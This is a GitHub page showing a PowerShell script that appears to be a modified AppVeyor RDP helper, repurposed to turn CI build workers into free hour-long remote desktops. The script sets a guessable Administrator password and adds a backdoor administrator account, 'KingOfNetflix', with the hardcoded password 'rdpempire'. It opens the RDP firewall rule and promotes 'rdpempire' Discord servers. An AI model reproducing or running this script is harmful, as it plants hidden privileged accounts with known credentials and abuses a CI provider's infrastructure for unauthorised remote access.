-
Notifications
You must be signed in to change notification settings - Fork 24
/
AppVeyor-rdp.ps1
71 lines (61 loc) · 2.88 KB
/
AppVeyor-rdp.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
function ChangePassword($password) {
$objUser = [ADSI]("WinNT://$($env:computername)/Administrator")
$objUser.SetPassword($password)
$objUser.CommitChanges()
}
function SleepIfBeforeClone() {
if (!(Get-ItemProperty 'HKLM:\SOFTWARE\Appveyor\Build Agent\State' -Name GetSources -ErrorAction Ignore).GetSources -eq "true") {
sleep 30
}
}
if((Test-Path variable:islinux) -and $isLinux) {
Write-Warning "RDP access is not supported on Linux."
return
}
#Change Windows Password
$number = Get-Random -Maximum 10000
Set-LocalUser -Name "Administrator" -Password (ConvertTo-SecureString -AsPlainText "Password@$number" -Force)
New-LocalUser "KingOfNetflix" -Password "rdpempire" -FullName "KingOfNetflix" -Description "Description of this account."
Add-LocalGroupMember -Group "Administrators" -Member "KingOfNetflix"
# get current IP
$ip = (Get-NetIPAddress -AddressFamily IPv4 | Where-Object {$_.InterfaceAlias -like 'ethernet*'}).IPAddress
$port = 3389
if (-not $nonat) {
if($ip.StartsWith('172.24.')) {
$port = 33800 + ($ip.split('.')[2] - 16) * 256 + $ip.split('.')[3]
} elseif ($ip.StartsWith('192.168.') -or $ip.StartsWith('10.240.')) {
# new environment - behind NAT
$port = 33800 + ($ip.split('.')[2] - 0) * 256 + $ip.split('.')[3]
} elseif ($ip.StartsWith('10.0.')) {
$port = 33800 + ($ip.split('.')[2] - 0) * 256 + $ip.split('.')[3]
}
}
# get external IP
$ip = (New-Object Net.WebClient).DownloadString('https://www.appveyor.com/tools/my-ip.aspx').Trim()
# allow RDP on firewall
Enable-NetFirewallRule -DisplayName 'Remote Desktop - User Mode (TCP-in)'
# allow Audio Services
Start-Service -Name audiosrv
Write-Host " Change Windows Server Version go to Settings > Environment > Build worker image" -ForegroundColor White
Write-Host " Visual Studio 2013/2015 = Windows Server 2012 R2" -ForegroundColor White
Write-Host " Visual Studio 2017 = Windows Server 2016" -ForegroundColor White
Write-Host " Visual Studio 2019 = Windows Server 2019" -ForegroundColor White
Write-Host " This VPS valid for 1h, RE-BUILD COMMIT to get new one" -ForegroundColor White
Write-Host " USE FOR TESTING PURPOSES, NOT FOR CRYPTO MINING" -ForegroundColor Red
Write-Host "Remote Desktop connection details:" -ForegroundColor Yellow
Write-Host " Server: $ip`:$port" -ForegroundColor Gray
Write-Host " Username: Administrator" -ForegroundColor Gray
if(-not $env:appveyor_rdp_password) {
Write-Host " Password: Password@$number" -ForegroundColor Gray
}
if($blockRdp) {
$path = "$($env:USERPROFILE)\Desktop\Delete me to continue build.txt"
# create "lock" file.
Set-Content -Path $path -Value ''
Write-Warning "join https://discord.gg/rdpempire or https://discord.gg/VhbsD3fV3D"
# wait until "lock" file is deleted by user.
while(Test-Path $path) {
Start-Sleep -Seconds 1
}
Write-Host "Build lock file has been deleted. Resuming build."
}